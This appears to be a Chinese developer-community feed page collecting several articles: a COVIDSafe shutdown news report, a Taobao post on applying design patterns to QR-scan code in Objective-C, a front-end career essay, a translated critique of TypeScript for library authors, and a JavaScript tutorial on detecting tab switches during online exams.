框架实现时要保持严谨,报错信息尽可能清晰明了,StewardTipCategory反序列化失败的原因在于,fastjson只检验了属性名称,构造函数参数个数而没有进一步校验属性类型。
<<重构:改善既有代码的设计>>提倡代码方法块尽量短小精悍,Fastjson某些模块的方法过于臃肿。
作者:阿里巴巴大淘宝技术
来源:juejin.cn/post/7127472762335002637
2020 年 4 月,澳政府斥巨资打造防疫 APP“COVIDSafe”。两年多过去了,这款曾被寄予厚望、当作通向防疫成功“门票”的 APP 寿命将近,于当地时间 8 月 9 日宣布将在不久后停用。澳大利亚卫生部长巴特勒(Mark Butler)10 日直言,这款由前任政府研发的 APP 根本没啥用,还烧钱。
他透露,至今为止,“COVIDSafe”浪费了纳税人足足 2100 万澳元(约合 1 亿元人民币),但只追踪到了两例未被发现的新冠阳性病例。
澳媒报道截图
据澳大利亚卫生部网站介绍,“COVIDSafe”手机应用程序是在新冠疫情早期(即 2020 年 4 月)开发的,是一款帮助识别暴露在新冠病毒前、有感染风险人群的工具,有助于“保护自己、家人和朋友”。
澳前总理莫里森曾对这款 APP 寄予厚望,称“COVIDSafe”将是澳大利亚摆脱疫情封城、通向正常生活的“门票”。莫里森还将该 APP 比作“防晒霜”。他说:“如果你想在阳光灿烂的时候外出,你就必须涂上防晒霜。(这款 APP)也是这么一回事。”
两年多过去了,“COVIDSafe”走向终结。从 8 月 9 日起,每一个澳大利亚用户打开“COVIDSafe”后便会收到一个提醒信息:“请卸载 COVIDSafe(Please uninstall COVIDSafe)”。
澳卫生部介绍,“COVIDSafe”有助于识别有感染风险的人群
值得注意的是,这不是因为“COVIDSafe”已经完成使命、带领澳大利亚取得了防疫成功,而是因为这款 APP“太烧钱,还没用”。
据《悉尼先驱晨报》和澳大利亚新闻网(ABC)报道,当地时间 8 月 10 日,澳卫生部长巴特勒表示:“很明显,这款 APP 作为一项公共卫生措施失败了,这就是我们采取行动删除它的原因。”他还说,“COVIDSafe”至今已经浪费了纳税人超 2100 万澳元(约合 1 亿元人民币)。
巴特勒还援引数据指出,虽然有 790 万澳大利亚人使用“COVIDSafe”,但只有不到 800 名用户同意数据分享权限。这也导致,自 2020 年 4 月至今,这款 APP 只追踪到了两例未被发现的新冠阳性病例。
其实,早在推广使用之初,“COVIDSafe”便因其高昂的研发和维护费用饱受诟病。ABC 报道称,莫里森政府投入 1000 万澳元用于应用的开发工作,另外 700 万澳元用于广告和营销、210 万澳元用于维护工作、超 200 万澳元用于支付员工费用。
此外,还有媒体和专家质疑该 APP 在追踪、识别阳性病例上的有效性。
去年 8 月,澳卫生部发布的一份报告显示,“COVIDSafe”只记录相距 1.5 米以内的两个用户之间至少 15 分钟的接触时间,这使得它无法满足跟踪德尔塔等变异毒株的需要。且自 2020 年 4 月至去年 5 月期间,“COVIDSafe”只收集到 779 名新冠病毒检测呈阳性的用户的信息,其中仅有 44 名用户共享信息。
今年 4 月,澳大利亚新冠疫情“最终报告特别委员会”将“COVIDSafe”定性为“代价高昂的失败之作”,并建议澳政府停止在此应用上进一步支出公共资金。
8 月 10 日,澳卫生部长巴特勒宣布,自此,卫生部停止通过“COVIDSafe”收集数据,且迄今为止通过该 APP 收集的数据将被尽快删除。“COVIDSafe”已于 8 月 16 日正式停用。
来源:观察网
收起阅读 »本文在“扫一扫功能的不断迭代,基于设计模式的基本原则,逐步采用设计模式思想进行代码和架构优化”的背景下,对设计模式在扫一扫中新的应用进行了总结。
扫一扫是淘宝镜头页中的一个重要组成,功能运行久远,其历史代码中较少采用面向对象编程思想,而较多采用面向过程的程序设计。
随着扫一扫功能的不断迭代,我们基于设计模式的基本原则,逐步采用设计模式思想进行代码和架构优化。本文就是在这个背景下,对设计模式在扫一扫中新的应用进行了总结。
扫一扫的原架构如图所示。其中逻辑&展现层的功能逻辑很多,并没有良好的设计和拆分,举几个例子:
所有码的处理逻辑都写在同一个方法体里,一个方法就接近 2000 多行。
庞大的码处理逻辑写在 viewController 中,与 UI 逻辑耦合。
按照现有的代码设计,若要对某种码逻辑进行修改,都必须将所有逻辑全量编译。如果继续沿用此代码,扫一扫的可维护性会越来越低。
因此我们需要对代码和架构进行优化,在这里优化遵循的思路是:
了解业务能力
了解原有代码逻辑,不确定的地方通过埋点等方式线上验证
对原有代码功能进行重写/重构
编写单元测试,提供测试用例
测试&上线
扫一扫的解码能力决定了扫一扫能够处理的码类型,这里称为一级分类。基于一级分类,扫一扫会根据码的内容和类型,再进行二级分类。之后的逻辑,就是针对不同的二级类型,做相应的处理,如下图为技术链路流程。
上述技术链路流程中,码处理流程对应的就是原有的 viewController 里面的巨无霸逻辑。通过梳理我们看到,码处理其实是一条链式的处理,且有前后依赖关系。优化方案有两个,方案一是拆解成多个方法顺序调用;方案二是参考苹果的 NSOperation 独立计算单元的思路,拆解成多个码处理单元。方案一本质还是没解决开闭原则(对扩展开放,对修改封闭)问的题。方案二是一个比较好的实践方式。那么怎么设计一个简单的结构来实现此逻辑呢?
码处理链路的特点是,链式处理,可控制处理的顺序,每个码处理单元都是单一职责,因此这里引出改造第一步:责任链模式。
责任链模式是一种行为设计模式, 它将请求沿着处理者链进行发送。收到请求后, 每个处理者均可对请求进行处理, 或将其传递给链上的下个处理者。
本文设计的责任链模式,包含三部分:
创建数据的 Creator
管理处理单元的 Manager
处理单元 Pipeline
三者结构如图所示
包含的功能和特点:
因为数据是基于业务的,所以它只被声明为一个 Protocol ,由上层实现。
Creator 对数据做对象化,对象生成后 self.generateDataBlock(obj, Id)
即开始执行
API 代码示例如下
/// 数据产生协议 <CreatorProtocol>
@protocol TBPipelineDataCreatorDelegate <NSObject>
@property (nonatomic, copy) void(^generateDataBlock)(id data, NSInteger dataId);
@end
复制代码
上层业务代码示例如下
@implementation TBDataCreator
@synthesize generateDataBlock;
- (void)receiveEventWithScanResult:(TBScanResult *)scanResult eventDelegate:(id <TBScanPipelineEventDeletate>)delegate {
//对数据做对象化
TBCodeData *data = [TBCodeData new];
data.scanResult = scanResult;
data.delegate = delegate;
NSInteger dataId = 100;
//开始执行递归
self.generateDataBlock(data, dataId);
}
@end
复制代码
包含的功能和特点:
管理创建数据的 Creator
管理处理单元的 Pipeline
采用支持链式的点语法,方便书写
API 代码示例如下
@interface TBPipelineManager : NSObject
/// 添加创建数据 Creator
- (TBPipelineManager *(^)(id<TBPipelineDataCreatorDelegate> dataCreator))addDataCreator;
/// 添加处理单元 Pipeline
- (TBPipelineManager *(^)(id<TBPipelineDelegate> pipeline))addPipeline;
/// 抛出经过一系列 Pipeline 的数据。当 Creator 开始调用 generateDataBlock 后,Pipeline 就开始执行
@property (nonatomic, strong) void(^throwDataBlock)(id data);
@end
复制代码
实现代码示例如下
@implementation TBPipelineManager
- (TBPipelineManager *(^)(id<TBPipelineDataCreatorDelegate> dataCreator))addDataCreator {
@weakify
return ^(id<TBPipelineDataCreatorDelegate> dataCreator) {
@strongify
if (dataCreator) {
[self.dataGenArr addObject:dataCreator];
}
return self;
};
}
- (TBPipelineManager *(^)(id<TBPipelineDelegate> pipeline))addPipeline {
@weakify
return ^(id<TBPipelineDelegate> pipeline) {
@strongify
if (pipeline) {
[self.pipelineArr addObject:pipeline];
//每一次add的同时,我们做链式标记(通过runtime给每个处理加Next)
if (self.pCurPipeline) {
NSObject *cur = (NSObject *)self.pCurPipeline;
cur.tb_nextPipeline = pipeline;
}
self.pCurPipeline = pipeline;
}
return self;
};
}
- (void)setThrowDataBlock:(void (^)(id _Nonnull))throwDataBlock {
_throwDataBlock = throwDataBlock;
@weakify
//Creator的数组,依次对 Block 回调进行赋值,当业务方调用此 Block 时,就是开始处理数据的时候
[self.dataGenArr enumerateObjectsUsingBlock:^(id<TBPipelineDataCreatorDelegate> _Nonnull obj, NSUInteger idx, BOOL * _Nonnull stop) {
obj.generateDataBlock = ^(id<TBPipelineBaseDataProtocol> data, NSInteger dataId) { @strongify
data.dataId = dataId;
//开始递归处理数据
[self handleData:data];
};
}];
}
- (void)handleData:(id)data {
[self recurPipeline:self.pipelineArr.firstObject data:data];
}
- (void)recurPipeline:(id<TBPipelineDelegate>)pipeline data:(id)data {
if (!pipeline) {
return;
}
//递归让pipeline处理数据
@weakify
[pipeline receiveData:data throwDataBlock:^(id _Nonnull throwData) {
@strongify
NSObject *cur = (NSObject *)pipeline;
if (cur.tb_nextPipeline) {
[self recurPipeline:cur.tb_nextPipeline data:throwData];
} else {
!self.throwDataBlock?:self.throwDataBlock(throwData);
}
}];
}
@end
复制代码
包含的功能和特点:
因为数据是基于业务的,所以它只被声明为一个 Protocol ,由上层实现。
API 代码示例如下
@protocol TBPipelineDelegate <NSObject>
//如果有错误,直接抛出
- (void)receiveData:(id)data throwDataBlock:(void(^)(id data))block;
@end
复制代码
上层业务代码示例如下
//以A类型码码处理单元为例
@implementation TBGen3Pipeline
- (void)receiveData:(id <TBCodeDataDelegate>)data throwDataBlock:(void (^)(id data))block {
TBScanResult *result = data.scanResult;
NSString *scanType = result.resultType;
NSString *scanData = result.data;
if ([scanType isEqualToString:TBScanResultTypeA]) {
//跳转逻辑
...
//可以处理,终止递归
BlockInPipeline();
} else {
//不满足处理条件,继续递归:由下一个 Pipeline 继续处理
PassNextPipeline(data);
}
}
@end
复制代码
有了上述的框架和上层实现,生成一个码处理管理就很容易且能达到解耦的目的,代码示例如下
- (void)setupPipeline {
//创建 manager 和 creator
self.manager = TBPipelineManager.new;
self.dataCreator = TBDataCreator.new;
//创建 pipeline
TBCodeTypeAPipelie *codeTypeAPipeline = TBCodeTypeAPipelie.new;
TBCodeTypeBPipelie *codeTypeBPipeline = TBCodeTypeBPipelie.new;
//...
TBCodeTypeFPipelie *codeTypeFPipeline = TBCodeTypeFPipelie.new;
//往 manager 中链式添加 creator 和 pipeline
@weakify
self.manager
.addDataCreator(self.dataCreator)
.addPipeline(codeTypeAPipeline)
.addPipeline(codeTypeBPipeline)
.addPipeline(codeTypeFPipeline)
.throwDataBlock = ^(id data) {
@strongify
if ([self.proxyImpl respondsToSelector:@selector(scanResultDidFailedProcess:)]) { [self.proxyImpl scanResultDidFailedProcess:data];
}
};
}
复制代码
回头来看下码展示的逻辑,这是我们用户体验优化的一项重要内容。码展示的意思是对于当前帧/图片,识别到码位置,我们进行锚点的高亮并跳转。这里包含三种情况:
未识别到码的时候,无锚点展示
识别到单码的时候,展示锚点并在指定时间后跳转
识别到多码额时候,展示锚点并等待用户点击
可以看到,这里涉及到简单的展示状态切换,这里就引出改造的第二步:状态模式
状态模式是一种行为设计模式, 能在一个对象的内部状态变化时改变其行为, 使其看上去就像改变了自身所属的类一样。
本文设计的状态模式,包含两部分:
状态的信息 StateInfo
状态的基类 BaseState
两者结构如图所示
包含的功能和特点:
当前上下文仅有一种状态信息流转
业务方可以保存多个状态键值对,状态根据需要执行相应的代码逻辑。
状态信息的声明和实现代码示例如下
@interface TBBaseStateInfo : NSObject {
@private
TBBaseState<TBBaseStateDelegate> *_currentState; //记录当前的 State
}
//使用当前的 State 执行
- (void)performAction;
//更新当前的 State
- (void)setState:(TBBaseState <TBBaseStateDelegate> *)state;
//获取当前的 State
- (TBBaseState<TBBaseStateDelegate> *)getState;
@end
@implementation TBBaseStateInfo
- (void)performAction {
//当前状态开始执行
[_currentState perfromAction:self];
}
- (void)setState:(TBBaseState <TBBaseStateDelegate> *)state {
_currentState = state;
}
- (TBBaseState<TBBaseStateDelegate> *)getState {
return _currentState;
}
@end
复制代码
上层业务代码示例如下
typedef NS_ENUM(NSInteger,TBStateType) {
TBStateTypeNormal, //空状态
TBStateTypeSingleCode, //单码展示态
TBStateTypeMultiCode, //多码展示态
};
@interface TBStateInfo : TBBaseStateInfo
//以 key-value 的方式存储业务 type 和对应的状态 state
- (void)setState:(TBBaseState<TBBaseStateDelegate> *)state forType:(TBStateType)type;
//更新 type,并执行 state
- (void)setType:(TBStateType)type;
@end
@implementation TBStateInfo
- (void)setState:(TBBaseState<TBBaseStateDelegate> *)state forType:(TBStateType)type {
[self.stateDict tb_setObject:state forKey:@(type)];
}
- (void)setType:(TBStateType)type {
id oldState = [self getState];
//找到当前能响应的状态
id newState = [self.stateDict objectForKey:@(type)];
//如果状态未发生变更则忽略
if (oldState == newState)
return;
if ([newState respondsToSelector:@selector(perfromAction:)]) {
[self setState:newState];
//转态基于当前的状态信息开始执行
[newState perfromAction:self];
}
}
@end
复制代码
包含的功能和特点:
定义了状态的基类
声明了状态的基类需要遵循的 Protocol
Protocol 如下,基类为空实现,子类继承后,实现对 StateInfo 的处理。
@protocol TBBaseStateDelegate <NSObject>
- (void)perfromAction:(TBBaseStateInfo *)stateInfo;
@end
复制代码
上层(以单码 State 为例)代码示例如下
@interface TBSingleCodeState : TBBaseState
@end
@implementation TBSingleCodeState
//实现 Protocol
- (void)perfromAction:(TBStateInfo *)stateAction {
//业务逻辑处理 Start
...
//业务逻辑处理 End
}
@end
复制代码
以下代码生成一系列状态,在合适时候进行状态的切换。
//状态初始化
- (void)setupState {
TBSingleCodeState *singleCodeState =TBSingleCodeState.new; //单码状态
TBNormalState *normalState =TBNormalState.new; //正常状态
TBMultiCodeState *multiCodeState = [self getMultiCodeState]; //多码状态
[self.stateInfo setState:normalState forType:TBStateTypeNormal];
[self.stateInfo setState:singleCodeState forType:TBStateTypeSingleCode];
[self.stateInfo setState:multiCodeState forType:TBStateTypeMultiCode];
}
//切换常规状态
- (void)processorA {
//...
[self.stateInfo setType:TBStateTypeNormal];
//...
}
//切换多码状态
- (void)processorB {
//...
[self.stateInfo setType:TBStateTypeMultiCode];
//...
}
//切换单码状态
- (void)processorC {
//...
[self.stateInfo setType:TBStateTypeSingleCode];
//...
}
复制代码
最好根据状态机图编写状态切换代码,以保证每种状态都有对应的流转。
次态→ 初态↓ | 状态A | 状态B | 状态C |
---|---|---|---|
状态A | 条件A | ... | ... |
状态B | ... | ... | ... |
状态C | ... | ... | ... |
在开发过程中,我们会在越来越多的地方使用到上图能力,比如「淘宝拍照」的相册中、「扫一扫」的相册中,用到解码、码展示、码处理的能力。
因此,我们需要把这些能力封装并做成插件化,以便在任何地方都能够使用。这里就引出了我们改造的第三步:代理模式。
代理模式是一种结构型设计模式,能够提供对象的替代品或其占位符。代理控制着对于原对象的访问, 并允许在将请求提交给对象前后进行一些处理。 本文设计的状态模式,包含两部分:
代理单例 GlobalProxy
代理的管理 ProxyHandler
两者结构如图所示
单例的目的主要是减少代理重复初始化,可以在合适的时机初始化以及清空保存的内容。单例模式对于 iOSer 再熟悉不过了,这里不再赘述。
维护一个对象,提供了对代理增删改查的能力,实现对代理的操作。这里实现 Key - Value 的 Key 为 Protocol ,Value 为具体的代理。
代码示例如下
+ (void)registerProxy:(id)proxy withProtocol:(Protocol *)protocol {
if (![proxy conformsToProtocol:protocol]) {
NSLog(@"#TBGlobalProxy, error");
return;
}
if (proxy) {
[[TBGlobalProxy sharedInstance].proxyDict setObject:proxy forKey:NSStringFromProtocol(protocol)];
}
}
+ (id)proxyForProtocol:(Protocol *)protocol {
if (!protocol) {
return nil;
}
id proxy = [[TBGlobalProxy sharedInstance].proxyDict objectForKey:NSStringFromProtocol(protocol)];
return proxy;
}
+ (NSDictionary *)proxyConfigs {
return [TBGlobalProxy sharedInstance].proxyDict;
}
+ (void)removeAll {
[TBGlobalProxy sharedInstance].proxyDict = [[NSMutableDictionary alloc] init];
}
复制代码
所以不管是什么业务方,只要是需要用到对应能力的地方,只需要从单例中读取 Proxy,实现该 Proxy 对应的 Protocol,如一些回调、获取当前上下文等内容,就能够获取该 Proxy 的能力。
//读取 Proxy 的示例
- (id <TBScanProtocol>)scanProxy {
if (!_scanProxy) {
_scanProxy = [TBGlobalProxy proxyForProtocol:@protocol(TBScanProtocol)];
}
_scanProxy.proxyImpl = self;
return _scanProxy;
}
//写入 Proxy 的示例(解耦调用)
- (void)registerGlobalProxy {
//码处理能力
[TBGlobalProxy registerProxy:[[NSClassFromString(@"TBScanProxy") alloc] init] withProtocol:@protocol(TBScanProtocol)];
//解码能力
[TBGlobalProxy registerProxy:[[NSClassFromString(@"TBDecodeProxy") alloc] init] withProtocol:@protocol(TBDecodeProtocol)];}
复制代码
基于上述的改造优化,我们将原扫一扫架构进行了优化:将逻辑&展现层进行代码分拆,分为属现层、逻辑层、接口层。已达到层次分明、职责清晰、解耦的目的。
上述沉淀的三个设计模式作为扫拍业务的 Foundation 的 Public 能力,应用在镜头页的业务逻辑中。
通过此次重构,提高了扫码能力的复用性,结构和逻辑的清晰带来的是维护成本的降低,不用再大海捞针从代码“巨无霸”中寻找问题,降低了开发人日。
作者:阿里巴巴大淘宝技术
来源:https://juejin.cn/post/7127858822395199502
许多前端工程师工作超过了3年之后会遇到一个迷茫期,我跟很多前端从业人也聊过,有一部分人说想做开源项目推广出去(类似react,vue)变成前端网红。有些说想去创业。往往更长远的职业发展规划考虑的很少。我希望把自己工作经历和在阿里学到的东西分享给大家,作为一个案例解答有关职业发展的困扰。
此文来自一次团队内的分享。我是来自大淘宝技术内容前端团队的胤涧,负责内容中台技术。我的习惯是每个新财年初都会进行一次分享《HOW TO BE AN EMINENT ENGINEER》,聊聊目前团队阵型、OKR、业务和技术大图,聊聊我作为程序员的规划。
此文仅记录【我作为程序员的规划】的内容。
第一,譬如一个校招生在阿里工作了两三年,整体技术能力还保持在一个上升期,但在沟通交流做事上却始终没有脱离“学生气”,似乎还未毕业。
第二,技术更新迭代非常快,特别是前端领域,这几年不断都有新技术出来。每每夜深人静的时候,会发现很少有能真正沉淀下来的技术。
第三,关于技术深度。我经历过晋升失败,其中“技术深度不够”这句评语让我印象深刻。当时沟通完,走出会议室我低着头不停地问自己到底技术深度要深入到什么层度才算足够。作为前端,我们在公司更多的是写页面,实现UI的优化,提升页面的性能,即便我们做的产品非常成功,成功点在哪儿?可能是UI设计得漂亮,也可能是推荐算法精确,而前端的产出给产品带来了什么?阿里有健全的体系,有良师益友。离开了这个大平台,我能做什么?
入职阿里,经历不同的BU和部门,我一直在寻找职业发展的答案。
到目前为止,我把我的职业生涯分为三个阶段:一技之长,独立做事,寻找使命。
一技之长分为:栈内技术、栈外技术、工程经验、带人做事、业内影响。
栈内技术是指你的专业领域技术,对于前端来说,就是那些我们熟悉的js等基础,深入了解我们的程序所运行的宿主环境——浏览器 or NODE,能了解v8运行时发生的一切。
前端没有秘密,所有可访问的页面都近似于开源,所以检验栈内技术的标准就是看你是否能最终形成技术上的“白眼”——看到任何前端产品都有看穿它的自信。栈内技术是安身立命的根本,不要轻易“换方向”。
始终不要放弃作为前端的一技之长。遇到一些前端同学工作几年以后前端做得比较熟了,考虑转到其他岗位,去做音视频技术,或者跨度更大的去做产品,运营。但我想说,当你转行那一刻起,就把要转的领域变成你新的“栈内技术”,然后重新走一遍技术沉淀的过程,匆匆几年又过去了。
前端是可以长时间坚持的领域,现在新型的软件生态,例如web3,以太坊,都会首先瞄准JS开发者,因为有庞大的开发者群体,工具链也比较完善,所以长期坚持从事前端工作,在可预见的未来都不会“过时”。
栈外技术是指栈内技术的上下游,领域外的相关专业知识,包括但不限于服务端技术、运维、CDN、测试,甚至UI设计、产品设计等等。扩展你栈内技术的周围领域,充分理解你的工作在整个技术研发体系中处于怎样的环节。工作之余多投入一份精力,把其他栈外技术不断纳入到你的知识体系中来,建立栈外能力。
前端想要做得深入,往往会涉及到服务端、网络、机器学习、用户体验等知识,没有足够的栈外技术积累,你很难为自己的团队争取到足够的话语权。
工程经验是指建设专业技术体系的“解决方案”。通俗说,就是做事的方法论,掌握从0到1,1到60,甚至60到100分阶段建设专业技术体系的过程。
工程经验涉及到技术选型、架构设计、性能优化,CI/CD,日志监控、系统测试等,这些是跟工程相关的方法论。
很多同学会说,没有时间去研究新技术,那么多反问一下自己,为什么没有在自己的业务上争取新技术落地。
很多的工程师没有总结自己工程经验的能力,特别是在做业务多年之后,觉得技术能力一直在倒退。决定你比别人更有专业价值的,是领域工程经验。你看过再多的文章,如果没真正实操都不能称之为“掌握”。所以我建议要想掌握足够丰富的工程经验,需要在业务中多争取实践的机会。
带人做事之前三项都是个人专业技能方面的深度要求,带人做事是对团队协作能力的要求。我第一次带师弟的时候经常有这种感觉:需要多次沟通需求,对焦技术方案。我跟他沟通花的时间都能把代码写好了。
带人做事,是把自己擅长的事情,沉淀下来的思考方式传递给他人,实现1+1>2的生产力提升,让整个团队的产出高于自己。
这个阶段大家要特别注意“管”与“带”的区别。以我的愚见:所谓“管”是我不懂某个领域,但我知道你懂,所以我安排你去做;而“带”则是"我特别懂这个领域,我知道你不懂,我会教你做得更好",有点授之以渔,成就他人的意思。带好一个人或者带起一支有战斗力的团队,是做人做事成熟的表现。
这两年我也在思考如何能激发他人的能力。我想起我的老板们及和我1v1沟通的同事们对我的帮助,他们都非常善于用反问来引导我。提问的深度特别能体现一个人的能力水平,任何用于提要求的陈述句,都能转换成疑问句,在启发萌新的过程中植入对结果的约束。
当你让一个人做A的时候,他提出了方案B。你不要强行扭转对方的思路提出A,因为对于新人来讲,或许确实不能一步到位理解A方案,在他的能力约束下,只能想到B。要尽量尝试把A和B之间有差异的地方转换成提问,你问他遇到这个问题怎么解决,遇到那个问题怎么解决,一直问到形成A,他会带着思考去做事情。如果没有这个过程,没有让他思维演化的过程,虽然他收到了A的指令,但是他不理解,他会用别的方式做出来,最后得出来一个C,然后你又重构一遍,陷入一个怪圈不能自拔,这就是我以前的误区,
所以我现在特别注重提问的艺术。但是一切的前提是:你需要对事情有好的认知。按照张一鸣的观点就是:对一件事情认知决定了一件事情的高度。
如果你前面做得非常好,那把自己的工作经验总结对外发布,与他人交流,碰撞思想,看到更高的山峰,然后修正自己的想法,日益完善,是能走得更远的一种方式。
有的时候需要把自己的思想放到业界的层面验证,大家好才是真的好。如果别人不认可你的这套思路,基本上你也可以判定自己没有达到一个更高的水平。
对外分享的目的不是为了show quali,而是为了听取别人的意见,达到自我成长。永远不要放弃一技之长,没有所谓的转行或者转型,永远坚持你最初的领域,扩充你的外延,最终达成比较全面的能力,坚持是成功ROI最高的一种方式。
第二个阶段是独立做事,也是我这一两年的命题。在我不断试错的过程中,我把他分为了:独立交付,独立带人,独立带团队,独立做业务,独立活下来。独立不等于独自,独立是指今天公司给你配套的资源,你能完成公司给你的项目,且拿下好结果,俗称“带团队”。
独立交付是指给你一个项目能自己完成推进且上线,不让别人给你擦屁股就可以了。更加强调整体项目管理上的能力,拿结果的能力。
进入到独立带人/带团队这个阶段,要关注的更多,整个团队的氛围、工作效率,运用你一技之长的工程经验带领团队高效优质的产出成果,实现1+1>2。做好团队的两张大图,业务大图&技术大图。让团队的同学知道自身的发展主线。工作开心了,团队稳定性才高。
团队稳定之后,开始关注所做的业务,行业的发展,理解你的用户,他们是谁,他们在哪,他们为什么使用你的产品,为团队指引下一步的产研方向。最高境界就是能带领一群人养活自己,独立生存下来。这里面至少要有商业眼光,深知你所处的行业的商业玩法,还要能玩得转。如果能很好的解决这个问题,我相信各位都混的挺好的。
独立做事每个阶段,都是一次比较大的跨越,需要思想和多种软素质发生较大的变化,抛开技术人的身份不讲,独立做事的几个阶段,也是一个人逐渐成熟的过程。如果有扎实的一技之长,又能独立活下来,我肤浅的认为程序员35的危机应该不再有。
寻找使命,实现自我价值。是创业还是跳槽?是要生活还是工作?该如何平衡?我现在还是云里雾里的,还在探索,留一个开放的问题让感兴趣的同学讨论。
最后用莫泊桑的话来结尾:“生活不可能像你想象得那么好,但也不会像你想象得那么糟。我觉得人的脆弱和坚强都超乎自己的想象。有时,我可能脆弱得一句话就泪流满面,有时,也发现自己咬着牙走了很长的路”。在这里工作就是这样,但我坚信明天会更好。
作者:阿里巴巴大淘宝技术
来源:juejin.cn/post/7132745736696889351
类型白白耗费了太多宝贵时间。
在今年《2022 前端开发者现状报告》中显示, 84% 受访者表示使用过 TypeScript,可见这门语言已被越来越多的前端开发者所接受。他们表示,TypeScript 让 Web 开发变得轻松——不用在 IDE 和浏览器之间来回多次切换,来猜测为什么“undefined is not a function”。
然而,本周 redux-saga 的工程师 Eric Bower 却在一篇博客中提出了不同意见,他站在库开发者的角度,直言“我很讨厌 TypeScript”,并列举了五点理由。这篇博客发布后,随即引发了赞同者和反对者的激烈讨论,其中,反对者主要认为文中的几点理由只能作为开发人员的意见,而且并没有提供证明实质性问题的具体例子。
redux-saga 是一个 库(Library),具体来说,大部分情况下,它是以 Redux 中间件的形式而存在,主要是为了更优雅地管理 Redux 应用程序中的副作用(Side Effects)。
以下为 Eric 原文译文:
作为端开发者,其实我挺喜欢 TypeScript,它大大削减了手动编写自动化测试的需求,把劳动力解放出来投入到更能创造价值的地方。总之,任何能弱化自动化测试工作量的技术,都是对生产力的巨大提升。
但从库开发的角度来看,我又很讨厌 TypeScript。它烦人的地方很多,但归根结底,TypeScript 的原罪就是降低库开发者的工作效率。从本质上讲,TypeScript 就是把复杂性从端开发者那转移给了库开发者,最终显著增加了库开发流程侧的工作负担。
说明文档
端开发者可太幸福了,TypeScript 给他们准备了完备的说明文档和博文资料。但在库开发者这边,可用的素材却很少。我能找到的最接近库开发需求的内容,主要集中在类型操作上面。
这就让人有种强烈的感觉,TypeScript 团队觉得库开发者和端开发者并没什么区别。当然有区别,而且很大!
为什么 TypeScript 的网站上没有写给库开发者的指南?怎么就不能给库开发者准备一份推荐工具清单?
很多朋友可能想象不到,为了在 Web 应用和库中找到“恰如其分”的类型,我们得经历怎样的前列。对端开发者来说,Web 应用开发基本不涉及条件类型、类型运算符和重载之类的构造。
但库开发者却经常跟这些东西打交道,因为这些构造高度动态,会把逻辑嵌入到类型当中。这就让 TypeScript 调度起来令人头痛万分。
调试难题
库开发者是怎么对高度动态、大量使用的条件类型和重载做调试的?基本就是硬着头皮蛮干,祈祷能顺利跑通。唯一指望得上的,就是 TypeScript 编辑器和开发者自己的知识储备。换个类型,再看看最终结果,如此循环往复。据我所知,大家似乎都是在跟着感觉走,并没有任何稳定可靠的科学方法。
对了,库开发者经常会用到 TypeScript playground,用来隔离掉类型逻辑中那些离散的部分,借此找出 TypeScript 解析为某种类型的原因。Playground 还能帮助我们轻松切换 TypeScript 的版本和配置。
但这还不够,远远不够。我们需要更称手的生产工具。
太过复杂
我跟 redux 打过不少交道,redux-toolkit 确实是个很棒的库,开发者可以用它查看实际代码库中的类型是如何正确完成的。而问题在于,虽然它能把类型搞得很清楚,但复杂度也同样惊人。
createAction #1
createAction #2
这还只是一例,代码库中充斥着更多复杂的类型。此外,大家还要考虑到类型和实际代码数量。纯从演示出发、忽略掉导入的代码,该文件中只有约 10% 的代码(在全部 330 行中只占 35 行)能被转译成 JavaScript。
编码指南经常建议开发者不要使用嵌套三元组。但在 TypeScript 中,嵌套三元组成了根据其他类型缩减类型范围的唯一方法。是不是闹呢……
测 试
因为可以从其他类型生成类型,而且各类型都有很高的动态特性,所以任何生产级别的 TypeScript 项目都得经历专门的一类测试:类型测试。而且单纯对最新版本的 TypeScript 编译器进行类型测试还不够,必须针对以往的各个版本全部测试。
这种新的测试形式才刚刚起步,可用工具少得可怜,而且相当一部分要么被放弃了、要么只保持着最基本的维护。我之前用过的库有:
DefinitelyTyped-tools
sd
dtslint (moved)
typings-checker (deprecated)
看得出来,类型测试工具的流失率很高。而且因为难以迁移,我有些项目直到现在还在使用早就被弃用的库。
当然,其中的 dtslint 和 tsd 算是相对靠谱,但它们互为补充、而非择一即可。为什么我们需要两款工具才能完成同一类工作?这个问题很难回答,实际使用体验也是相当难受。
维 护
类型会给库添加大量代码。在初次为某个项目做贡献时,首先需要了解应用程序逻辑和类型逻辑,这直接就让很多打算参与的朋友望而却步了。我就帮忙维护过 redux-saga,项目近期发布的 PR 和 issue 主要就集中在类型身上。
我发现相较于编写库代码,我花在类型调整上的时间要多得多。
我精通 TypeScript,但还没到专家那个水平。在经历了几年的 TypeScript 编程之后,作为一名库开发者,我还是觉得自己用不明白 TypeScript。所以,精通好像成了 TypeScript 的准入门槛。这里的万恶之源就是类型,它让 js 库维护变得困难重重,断绝了后续开发者的贡献参与通道。
总 结
我认可 TypeScript 的成绩,也钦佩它背后的开发团队。TypeScript 的出现彻底改变了前端开发的格局,任何人都不能忽视这份贡献。
但作为库开发者,我们需要:
更好的说明文档。
更好的工具。
更易用的 tsc。
不管怎么说,靠研究 TypeScript 编译器源代码才能搞清楚一段代码为什么会被解析成特定类型,也实在是太离谱了。
原文链接:
https://erock.prose.sh/typescript-terrible-for-library-developers
收起阅读 »由于在公司大部分时间都是在做考试系统,监听用户在考试期间的切屏操作并上报是比较常见的需求,本文主要是是实现这个需求并做个总结,下面就是我当初实现此需求的思路历程,希望能够帮到各位。
visibilitychange
这个 API,在 MDN 中给它的定义是:当其选项卡的内容变得可见或被隐藏时,会在文档上触发 **visibilitychange**
(能见度变更)事件。<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<script>
let pageSwitchRecord = [];
let ul = document.createElement('ul');
document.addEventListener('visibilitychange', function () {
if (document.hidden) {
document.title = '用户切屏啦';
let record = {
time: new Date().getTime(),
type: 'leave'
};
// 这里可以根据自己项目的需求进行自定义操作,例如上报后台、提示用户等等
let li = document.createElement('li');
li.className = 'leave'
li.innerText = `用户在${record.time}切走了`;
ul.appendChild(li);
pageSwitchRecord.push(record);
} else {
document.title = '用户回来啦';
let record = {
time: new Date().getTime(),
type: 'enter'
};
// 这里可以根据自己项目的需求进行自定义操作
let li = document.createElement('li');
li.className = 'enter'
li.innerText = `用户在${record.time}回来了,耗时${record.time - pageSwitchRecord[pageSwitchRecord.length - 1].time}ms`;
ul.appendChild(li);
pageSwitchRecord.push(record);
}
document.body.appendChild(ul);
});
</script>
<body></body>
</html>
以上就是根据 visibitychange
